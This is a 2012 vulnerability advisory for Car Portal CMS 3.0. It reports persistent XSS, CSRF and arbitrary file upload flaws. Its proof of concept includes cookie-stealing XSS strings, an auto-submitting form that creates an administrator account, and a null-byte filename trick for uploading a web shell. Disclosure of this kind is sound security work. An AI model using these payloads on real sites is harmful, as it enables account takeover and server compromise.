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Car Portal CMS 3.0 CSRF / XSS / Shell Upload

Car Portal CMS 3.0 CSRF / XSS / Shell Upload
Posted Apr 26, 2012
Authored by the_storm | Site vulnerability-lab.com

Car Portal CMS version 3.0 suffers from cross site request forgery, cross site scripting, and shell upload vulnerabilities.

tags | exploit, shell, vulnerability, xss, csrf
MD5 | 269134f27fcc15434b5e140d8ad6cc69

Car Portal CMS 3.0 CSRF / XSS / Shell Upload

Change Mirror Download
Car Portal CMS v3.0 - Multiple Web Vulnerabilities




Car Portal is a php software product for running auto classifieds websites. It provides functionality
for the private sellers to sign up, list their car for sale and make changes in their ads online using
the private sellers administration space. The product provides special functionality for the dealers
to work and manage multiple ads. An affiliate functionality is also included, affiliate partners may
sign up and earn commissions on all the sales done through their links. The product comes with a
powerful admin panel for the administrators, allowing them not only to manage the cars portal settings,
the dealers, affiliates etc. but also providing full control over the website, its structure and content,
also statistics, search engines functionality and others.

(Copy of the Vendor Homepage: http://www.dream-autos.com/ )

The Vulnerability Laboratory Research Team discovered multiple Web Vulnerabilities in the Car Portal v3.0 web application.

2012-04-24: Public or Non-Public Disclosure




Multiple persistent input validation vulnerabilities are detected in the car portal v3.0 web application.
The bugs allow remote attackers to implement/inject malicious script code on the application side (persistent).
Successful exploitation of the vulnerability can lead to session hijacking (manager/admin) or stable (persistent)
context manipulation. Exploitation requires low user inter action.

Vulnerable Module(s):
[+] Post a new vehicle - PWRS & Description field
[+] Create News - News title
[+] Create a sub user - Name
[+] Create new user group - group Name
[+] Change profile - Dealer name &First Name & Last Name

Multiple cross site request forgery vulnerabilities are detected in the car portal v3.0 web application.
The bugs allow remote attackers to enforce the user (admin) to change user`s password, Create a user, sub user, or change profile information
Successful exploitation of the vulnerability can lead to creating a new admin account or changing user`s password.

Vulnerable Module(s):
[+] cars/ADMIN/index.php?category=security&action=nouveau
[+] USERS/index.php?category=profile&action=edit
[+] USERS/index.php?category=home&action=sub_accounts

Arbitrary file upload allows the attacker to upload files that differs than images. The attacker can upload the file by
changing its name from file.php to file.php%00.php. After the uploading the file .jpg of the file will be truncated and the
file will save on the sever as file.php.
Successful exploitation can result in malware or malicious web shell upload which results in a system comrpomise at the end.

Proof of Concept:
The vulnerabilities can be exploited by remote attackers with required low & high required user inter action.
For demonstration or reproduce ...

The issue can be exploited by creating news, new sub user, or new group with script code as value.
The result is the persistent execution out of the web application context.

Strings: >"<<iframe src=http://xxxxx.com/>3</iframe> ... or >"<script>alert(document.cookie)</script><div style="1

The issue can be exploited if the admin has entered to a page that has the following code. The user or the admin would be forced to do the vulnerable action.

<body onload="javascript:document.forms[0].submit()">
<form method="POST" name="form0" action="http://www.officialdemos.com/cars/ADMIN/index.php?category=security&action=nouveau">
<input type="hidden" name="username" value="the_storm"/>
<input type="hidden" name="password" value="password"/>
<input type="hidden" name="email" value="email@email.com"/>
<input type="hidden" name="category" value="security" />
<input type="hidden" name="action" value="nouveau" />
<input type="hidden" name="type" value="administrator"/>

The attacker can exploit this vulnerability by uploading the file with name
file.php%00.jpg instead of file.php

The security risk of the persistent input validation vulnerability is estimated as medium(+).

The security risk of the cross site request forgery vulnerability is estimated as low.

The security risk of the arbitrary file upload vulnerability is estimated as medium(+).

Vulnerability Laboratory Research Team - the_storm (strom@vulnerability-lab.com)

The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
may not apply. Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability-
Lab. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of
other media, are reserved by Vulnerability-Lab or its suppliers.

Copyright © 2012 Vulnerability-Lab

Website: www.vulnerability-lab.com
Mail: research@vulnerability-lab.com

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